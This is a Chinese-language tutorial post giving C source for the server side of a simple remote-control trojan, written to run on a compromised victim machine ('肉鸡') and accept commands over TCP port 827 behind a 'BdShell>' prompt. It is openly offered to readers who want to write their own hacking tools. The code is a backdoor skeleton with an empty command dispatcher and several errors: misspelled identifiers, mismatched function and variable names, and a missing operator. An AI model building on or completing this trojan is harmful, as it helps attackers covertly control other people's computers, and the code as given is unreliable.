用很简单的C语言编程写的一个木马的服务端实现过程,作为一个C/S木马,只要将这个服务端exe配置好你的IP地址和端口信息让它在肉鸡上运行就是成了木马的服务端了。
不过它实在太简单了,仅供大家了解一下木马的服务端形成的基本思路,然后大家可以仿写一个木马的客服端出来在自己的电脑上运行即可以实现以C语言编程的形式实现远程操控,希望对那些想自己写黑器的朋友有所帮助。
这只是个实现思路,思路当然可以改的更完美,这个就要看你的水平,但木马服务端的基本形成过程,代码的框架如下,为了简单让更多人看懂都是用C写,且基本每行写了备注,未定义函数全是系统API,直接调用即可。
代码如下:
#include //网络套字库,但凡联网都要用这个库
#pragma comment (lib,"ws2_32") //网络必须打开的ws2_32dll动态链接库
//定义木马可实现的功能表
#define HELPMSG " ... \r\n exit-退出" //在这里添加木马的功能表,方便客服端读取
BOOL Dispatch(SOCKET sock,char *szCmd) //定义分布命令函数
int main(int argc,char* argv[]) //这个不必说了吧
{
WSADATA wsaData; //定义WSADATA数据结构,用来接收windows Sockets得实现细节
WSAStartup(MAKEWORD(2,2),&wsaData); //初始化ws2_32.dll动态链接库,但凡联网都要初始化
SOCKET s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); //初始化网络套字
sockaddr_in sockaddr;
sockaddr.sin_family=PF_INET; //使用PF_INET通信协议
sockaddr.sin_addr.S_un.S_addr=inet_addr(" "); //在这个地方括号里填写你的IP地址,是肉鸡连上你的主机,你的主机作为客服端;
sockaddr.sin_port=htons(827); //使用827端口,端口完全可以改;
bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR)); //绑定IP地址和端口号
listen(s,1); //开始监听端口,等待客服端的连接;
SOCKADDR clientADDR;
int nSize=sizeof(SOCKADDR);
SOCKET clientSock;
clientSock=accept(s,(SOCKADDR*)&clientAddr,&nSize); //接收客服端连接
while(TURE) //进入命令循环,接收客服端发来的命令,有些木马之所以功能强大,主要是这部分强大,可以自由修改Dispach函数里面部分。
{
send(clientSock,"BdShell>",strlen("BdShell>") sizeof(char),0); //向客服端发送命令提示,并等待接收客服端命令
char buff[MAXBYTE]={0};
recv(clientSock,buff,MAXBYTE,0); //接收客户端发来的命令
if (!strcmp(buff,"exit")) //接收到exit命令,则退出命令循环
{
break;
}
BOOL bRet=Dispatch(clientSock,buff); //分布命令,根据不同命令完成不同指令
if(bRet==FALSE) //如果没有此项功能,向客户端发送没有此功能
{
send(clientSock,"没有此项功能",strlen("没有此项功能") sizeof(char),0);
}
}
closesocket(clientSock);
closeSocket(s);
WASCleanup(); //清理工作
return 0;
}
BOOL Dispach(SOCKET sock,char* szCmd)
{
BOOL bRet =FALSE;
//根据不同命令,完成不同功能,至于怎么完成这些功能呢,这里只给框架,慢慢学吧,这得花些时间学,且这与怎么搭建个木马服务端无关,想要好的功能就得自己思考!!!
if(!strcmp(szCmd,"help"))
{
}
else if(!strcmp(szCmd,"open")
{
}
...
else
{
}
return bRet;
}